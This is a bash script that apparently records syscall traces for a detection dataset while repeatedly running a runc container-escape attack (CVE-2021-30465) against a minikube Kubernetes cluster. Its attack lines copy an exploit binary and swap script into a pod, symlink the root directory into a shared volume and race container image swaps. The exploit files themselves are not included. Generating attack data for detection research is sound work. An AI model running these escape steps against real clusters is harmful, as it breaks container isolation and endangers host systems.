#!/bin/bash

# CVE_ID="CVE-2021-30465"
CVE_ID=$1
RECORD_TIME=15
FILE_NUMBER=1
CONTAINER_ID=$(docker ps -a | grep minikube | awk '{print $1}')

OUTPUT_DIR="/CAShift/Dataset/output/attack/$CVE_ID"

if [ ! -d "$OUTPUT_DIR" ]; then
    echo "Creating Output Dir"
    mkdir -p $OUTPUT_DIR
else
    echo "Output Dir Already Exists"
fi

# get pod id
POD_ID=$(kubectl get pods | grep wordpress | awk '{print $1}')

tmux new-session -d -s attack
tmux new-session -d -s trigger
tmux new-session -d -s record

for i in {1..100}; do

    # change runc version
    bash create-env.sh
    while true; do
        echo "Waiting for the pod creation..."
        sleep 5
        kubectl get pods | grep attack | grep "1"
        if [ $? -eq 0 ]; then
            break
        else
            echo "waiting..."
        fi
    done
    echo "Attack Pod Created"

    # collect system log
    echo "Collecting $i ..."
    record_cmd="sudo sysdig -v -b -p \"%evt.rawtime %user.uid %proc.pid %proc.name %thread.tid %syscall.type %evt.dir %evt.args\" -w $OUTPUT_DIR/$FILE_NUMBER.scap container.id=$CONTAINER_ID"
    tmux send -t "record" "$record_cmd" ENTER

    # sleep to ensure the record is started and log start
    sleep 2
    kubectl exec -it $POD_ID -c wordpress -- logger 'Attack Start'

    attack_cmd="kubectl cp attack attack:/test1/ -c c1 && kubectl cp switch.sh attack:/test1/ -c c1 && kubectl exec -it attack -c c1 -- ln -s / /test2/test2 && kubectl exec -it attack -c c1 -- bash /test1/switch.sh"
    terminate_cmd="kubectl exec -it $POD_ID -c wordpress -- logger 'Attack Stop' && sleep 0.5 && tmux send -t 'record' 'C-c' ENTER && sleep 0.5 && tmux send -t 'attack' 'C-c' ENTER && kubectl delete pod attack"
    trigger_cmd="for c in {2..20}; do kubectl set image pod attack c\$c=ubuntu:latest; done && sleep 1 && for c in {2..20}; do kubectl exec -ti pod/attack -c c\$c -- ls /test1/zzz; done || true && $terminate_cmd"
    
    # echo $attack_cmd
    tmux send -t "attack" "$attack_cmd" ENTER
    sleep 1
    tmux send -t "trigger" "$trigger_cmd" ENTER

    FILE_NUMBER=$((FILE_NUMBER + 1))
    echo "Finish $FILE_NUMBER"

    # wait till pod attack is deleted
    while true; do
        echo "Waiting for the attack to finish..."
        sleep 2
        kubectl get pods | grep attack
        if [ $? -eq 1 ]; then
            break
        else
            : # do nothing
        fi
    done
done

# clean up
tmux kill-session -t attack
tmux kill-session -t record
tmux kill-session -t trigger

# minikube delete


